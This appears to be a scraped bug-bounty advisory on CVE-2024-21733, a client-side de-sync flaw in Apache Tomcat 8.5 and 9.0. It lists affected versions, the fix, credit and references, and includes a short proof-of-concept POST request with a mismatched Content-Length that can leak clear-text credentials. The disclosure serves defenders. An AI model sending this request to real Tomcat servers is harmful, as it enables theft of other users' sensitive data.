Tomcat 请求走私（CVE-2024-21733）

Apache Tomcat from 8.5.7 through 8.5.63, from 9.0.0-M11 through 9.0.43 are vulnerable to client-side de-sync attacks. Client-side de-sync (CSD) vulnerabilities occur when a web server fails to correctly process the Content-Length of POST requests. By exploiting this behavior, an attacker can force a victim's browser to de-synchronize its connection with the website, causing sensitive data to be smuggled from the server and/or client connections. Users are recommended to upgrade to version 8.5.64 onwards or 9.0.44 onwards, which contain a fix for the issue. PoC: **Code** 699 Bytes[Unwrap lines](https://hackerone.com/reports/2327341) [Copy](https://hackerone.com/reports/2327341) [Download](https://hackerone.com/reports/2327341) 1POST / HTTP/1.1 2Host: hostname 3Sec-Ch-Ua: "Chromium";v="119", "Not?A\_Brand";v="24" 4Sec-Ch-Ua-Mobile: ?0 5Sec-Ch-Ua-Platform: "Linux" 6Upgrade-Insecure-Requests: 1 7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36 8Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7 9Sec-Fetch-Site: none 10Sec-Fetch-Mode: navigate 11Sec-Fetch-User: ?1 12Sec-Fetch-Dest: document 13Accept-Encoding: gzip, deflate, br 14Accept-Language: en-US,en;q=0.9 15Priority: u=0, i 16Connection: keep-alive 17Content-Length: 6 18Content-Type: application/x-www-form-urlencoded 19 20X In some cases, this can leak sensitive data such as clear-text credentials (see attached screenshot). Credit: This vulnerability was reported responsibly to the Tomcat security team by xer0dayz from Sn1perSecurity LLC. History: 2024-01-19 Original advisory References: \[3\] [https://tomcat.apache.org/security-9.html](https://tomcat.apache.org/security-9.html) \[4\] [https://tomcat.apache.org/security-8.html](https://tomcat.apache.org/security-8.html) Impact ------ An attacker can force a victim's browser to de-synchronize its connection with the website, causing sensitive data to be smuggled from the server and/or client connections.